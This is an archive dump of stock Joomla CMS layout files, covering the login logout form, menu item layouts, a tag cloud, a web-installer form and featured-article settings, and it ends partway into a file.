'ht' => 'Kreyol ayisyen',
'ha' => 'Harshen Hausa',
'haw' => 'Ōlelo Hawaiʻi',
'iw' => 'עִבְרִית',
'hi' => 'हिन्दी',
'hmn' => 'Hmong',
'hu' => 'Magyar',
'is' => 'Íslenska',
'ig' => 'Igbo',
'id' => 'Bahasa Indonesia',
'ga' => 'Gaelige',
'it' => 'Italiano',
'ja' => '日本語',
'jw' => 'Basa Jawa',
'kn' => 'ಕನ್ನಡ',
'kk' => 'Қазақ тілі',
'km' => 'ភាសាខ្មែរ',
'ko' => '한국어',
'ku' => 'كوردی‎',
'ky' => 'Кыргызча',
'lo' => 'ພາສາລາວ',
'la' => 'Latin',
'lv' => 'Latviešu valoda',
'lt' => 'Lietuvių kalba',
'lb' => 'Lëtzebuergesch',
'mk' => 'Македонски јазик',
'mg' => 'Malagasy',
'ms' => 'Bahasa Melayu',
'ml' => 'മലയാളം',
'mt' => 'Maltese',
'mi' => 'Te Reo Māori',
'mr' => 'मराठी',
'mn' => 'Монгол',
'my' => 'ဗမာစာ',
'ne' => 'नेपाली',
'no' => 'Norsk bokmål',
'ps' => 'پښتو',
'fa' => 'فارسی',
'pl' => 'Polski',
'pt' => 'Português',
'pa' => 'ਪੰਜਾਬੀ',
'ro' => 'Română',
'ru' => 'Русский',
'sm' => 'Samoan',
'gd' => 'Gàidhlig',
'sr' => 'Српски језик',
'st' => 'Sesotho',
'sn' => 'Shona',
'sd' => 'سنڌي',
'si' => 'සිංහල',
'sk' => 'Slovenčina',
'sl' => 'Slovenščina',
'so' => 'Afsoomaali',
'es' => 'Español',
'su' => 'Basa Sunda',
'sw' => 'Kiswahili',
'sv' => 'Svenska',
'tg' => 'Тоҷикӣ',
'ta' => 'தமிழ்',
'te' => 'తెలుగు',
'th' => 'ไทย',
'tr' => 'Türkçe',
'uk' => 'Українська',
'ur' => 'اردو',
'uz' => 'O‘zbekcha',
'vi' => 'Tiếng Việt',
'cy' => 'Cymraeg',
'xh' => 'isiXhosa',
'yi' => 'יידיש',
'yo' => 'Yorùbá',
'zu' => 'Zulu'
);
default_logout.php000064400000003517151721414740010306 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = \Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('keepalive');

?>
<form class="mod-login-logout form-vertical" action="<?php echo Route::_('index.php', true); ?>" method="post" id="login-form-<?php echo $module->id; ?>">
<?php if ($params->get('greeting', 1)) : ?>
    <div class="mod-login-logout__login-greeting login-greeting">
    <?php if (!$params->get('name', 0)) : ?>
        <?php echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('name'), ENT_COMPAT, 'UTF-8')); ?>
    <?php else : ?>
        <?php echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('username'), ENT_COMPAT, 'UTF-8')); ?>
    <?php endif; ?>
    </div>
<?php endif; ?>
<?php if ($params->get('profilelink', 0)) : ?>
    <ul class="mod-login-logout__options list-unstyled">
        <li>
            <a href="<?php echo Route::_('index.php?option=com_users&view=profile'); ?>">
            <?php echo Text::_('MOD_LOGIN_PROFILE'); ?></a>
        </li>
    </ul>
<?php endif; ?>
    <div class="mod-login-logout__button logout-button">
        <button type="submit" name="Submit" class="btn btn-primary"><?php echo Text::_('JLOGOUT'); ?></button>
        <input type="hidden" name="option" value="com_users">
        <input type="hidden" name="task" value="user.logout">
        <input type="hidden" name="return" value="<?php echo $return; ?>">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
collapse-default.php000064400000001717151721415070010512 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

HTMLHelper::_('bootstrap.collapse');
?>

<nav class="navbar navbar-expand-md" aria-label="<?php echo htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); ?>">
    <button class="navbar-toggler navbar-toggler-right" type="button" data-bs-toggle="collapse" data-bs-target="#navbar<?php echo $module->id; ?>" aria-controls="navbar<?php echo $module->id; ?>" aria-expanded="false" aria-label="<?php echo Text::_('MOD_MENU_TOGGLE'); ?>">
        <span class="icon-menu" aria-hidden="true"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbar<?php echo $module->id; ?>">
        <?php require __DIR__ . '/default.php'; ?>
    </div>
</nav>
default_url.php000064400000004177151721415070007577 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;

$attributes = [];

if ($item->anchor_title) {
    $attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css) {
    $attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel) {
    $attributes['rel'] = $item->anchor_rel;
}

$linktype = $item->title;

if ($item->menu_icon) {
    // The link is an icon
    if ($itemParams->get('menu_text', 1)) {
        // If the link text is to be displayed, the icon is added with aria-hidden
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title;
    } else {
        // If the icon itself is the link, it needs a visually hidden text
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>';
    }
} elseif ($item->menu_image) {
    // The link is an image, maybe with an own class
    $image_attributes = [];

    if ($item->menu_image_css) {
        $image_attributes['class'] = $item->menu_image_css;
    }

    $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);

    if ($itemParams->get('menu_text', 1)) {
        $linktype .= '<span class="image-title">' . $item->title . '</span>';
    }
}

if ($item->browserNav == 1) {
    $attributes['target'] = '_blank';
    $attributes['rel'] = 'noopener noreferrer';

    if ($item->anchor_rel == 'nofollow') {
        $attributes['rel'] .= ' nofollow';
    }
} elseif ($item->browserNav == 2) {
    $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params->get('window_open');

    $attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo HTMLHelper::_('link', OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
default_heading.php000064400000002772151721415070010373 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';
$linktype   = $item->title;

if ($item->menu_icon) {
    // The link is an icon
    if ($itemParams->get('menu_text', 1)) {
        // If the link text is to be displayed, the icon is added with aria-hidden
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title;
    } else {
        // If the icon itself is the link, it needs a visually hidden text
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>';
    }
} elseif ($item->menu_image) {
    // The link is an image, maybe with its own class
    $image_attributes = [];

    if ($item->menu_image_css) {
        $image_attributes['class'] = $item->menu_image_css;
    }

    $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);

    if ($itemParams->get('menu_text', 1)) {
        $linktype .= '<span class="image-title">' . $item->title . '</span>';
    }
}

?>
<span class="mod-menu__heading nav-header <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
default_separator.php000064400000002773151721415070010775 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';
$linktype   = $item->title;

if ($item->menu_icon) {
    // The link is an icon
    if ($itemParams->get('menu_text', 1)) {
        // If the link text is to be displayed, the icon is added with aria-hidden
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title;
    } else {
        // If the icon itself is the link, it needs a visually hidden text
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>';
    }
} elseif ($item->menu_image) {
    // The link is an image, maybe with its own class
    $image_attributes = [];

    if ($item->menu_image_css) {
        $image_attributes['class'] = $item->menu_image_css;
    }

    $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);

    if ($itemParams->get('menu_text', 1)) {
        $linktype .= '<span class="image-title">' . $item->title . '</span>';
    }
}

?>
<span class="mod-menu__separator separator <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
default_component.php000064400000004163151721415070010772 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;

$attributes = [];

if ($item->anchor_title) {
    $attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css) {
    $attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel) {
    $attributes['rel'] = $item->anchor_rel;
}

if ($item->id == $active_id) {
    $attributes['aria-current'] = 'location';

    if ($item->current) {
        $attributes['aria-current'] = 'page';
    }
}

$linktype = $item->title;

if ($item->menu_icon) {
    // The link is an icon
    if ($itemParams->get('menu_text', 1)) {
        // If the link text is to be displayed, the icon is added with aria-hidden
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title;
    } else {
        // If the icon itself is the link, it needs a visually hidden text
        $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>';
    }
} elseif ($item->menu_image) {
    // The link is an image, maybe with its own class
    $image_attributes = [];

    if ($item->menu_image_css) {
        $image_attributes['class'] = $item->menu_image_css;
    }

    $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);

    if ($itemParams->get('menu_text', 1)) {
        $linktype .= '<span class="image-title">' . $item->title . '</span>';
    }
}

if ($item->browserNav == 1) {
    $attributes['target'] = '_blank';
} elseif ($item->browserNav == 2) {
    $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

    $attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo HTMLHelper::_('link', OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
disabled.php000064400000000633151721416250007032 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="mod-whosonline-disabled">
    <p><?php echo Text::_('MOD_WHOSONLINE_NO_SESSION_METADATA'); ?></p>
</div>
cloud.php000064400000003652151721416470006401 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

$minsize = $params->get('minsize', 1);
$maxsize = $params->get('maxsize', 2);

?>
<div class="mod-tagspopular-cloud tagspopular tagscloud">
<?php
if (!count($list)) : ?>
    <div class="alert alert-info">
        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
        <?php echo Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND'); ?>
    </div>
<?php else :
    // Find maximum and minimum count
    $mincount = null;
    $maxcount = null;
    foreach ($list as $item) {
        if ($mincount === null || $mincount > $item->count) {
            $mincount = $item->count;
        }
        if ($maxcount === null || $maxcount < $item->count) {
            $maxcount = $item->count;
        }
    }
    $countdiff = $maxcount - $mincount;

    foreach ($list as $item) :
        if ($countdiff === 0) :
            $fontsize = $minsize;
        else :
            $fontsize = $minsize + (($maxsize - $minsize) / $countdiff) * ($item->count - $mincount);
        endif;
        ?>
        <span class="tag">
            <a class="tag-name" style="font-size: <?php echo $fontsize . 'em'; ?>" href="<?php echo Route::_(RouteHelper::getComponentTagRoute($item->tag_id . ':' . $item->alias, $item->language)); ?>">
                <?php echo htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8'); ?></a>
            <?php if ($display_count) : ?>
                <span class="tag-count badge bg-info"><?php echo $item->count; ?></span>
            <?php endif; ?>
        </span>
    <?php endforeach; ?>
<?php endif; ?>
</div>
hathor.php000060400000003701151725534010006542 0ustar00<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div class="clr"></div>
<fieldset class="uploadform">
	<legend><?php echo Text::_('COM_INSTALLER_INSTALL_FROM_WEB', true); ?></legend>
	<div id="jed-container"<?php echo $dir; ?>>
		<div id="mywebinstaller" style="display:none">
			<a href="#"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_LOAD_APPS'); ?></a>
		</div>
		<div class="well" id="web-loader" style="display:none">
			<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
		</div>
		<div class="alert alert-error" id="web-loader-error" style="display:none">
			<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
		</div>
	</div>
	<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
		<div class="control-group">
			<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
			<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
			<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
		</div>
		<div class="form-actions">
			<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
			<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
		</div>
	</fieldset>
</fieldset>
featured/default.xml000064400000033111151726042000010505 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE" option="COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Featured_Articles"
		/>
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="advanced" label="JGLOBAL_BLOG_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL">
			<field
				name="featured_categories"
				type="category"
				label="COM_CONTENT_FEATURED_CATEGORIES_LABEL"
				extension="com_content"
				multiple="true"
				layout="joomla.form.field.list-fancy-select"
				default=" "
				parentclass="stack span-3"
				>
				<option value=" ">JOPTION_ALL_CATEGORIES</option>
			</field>

			<field
				name="layout_type"
				type="hidden"
				default="blog"
			/>
			<field
				name="num_leading_articles"
				type="number"
				label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class_leading"
				type="text"
				label="JGLOBAL_BLOG_CLASS_LEADING"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_intro_articles"
				type="number"
				label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class"
				type="text"
				label="JGLOBAL_BLOG_CLASS"
				description="JGLOBAL_BLOG_CLASS_NOTE_DESC"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_columns"
				type="number"
				label="JGLOBAL_NUM_COLUMNS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1-inline"
				useglobal="true"
			/>

			<field
				name="multi_column_order"
				type="list"
				label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_BLOG_DOWN_OPTION</option>
				<option value="1">JGLOBAL_BLOG_ACROSS_OPTION</option>
			</field>

			<field
				name="num_links"
				type="number"
				label="JGLOBAL_NUM_LINKS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1"
				useglobal="true"
			/>

			<field
				name="link_intro_image"
				type="list"
				label="JGLOBAL_LINKED_INTRO_IMAGE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="orderby_pri"
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="random">JGLOBAL_RANDOM_ORDER</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
				<option value="unpublished">JUNPUBLISHED</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-2"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="article"
			label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>
			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>

		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
featured/default.php000064400000005274151726042000010505 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="blog-featured" itemscope itemtype="https://schema.org/Blog">
    <?php if ($this->params->get('show_page_heading') != 0) : ?>
    <div class="page-header">
        <h1>
        <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <?php if (!empty($this->lead_items)) : ?>
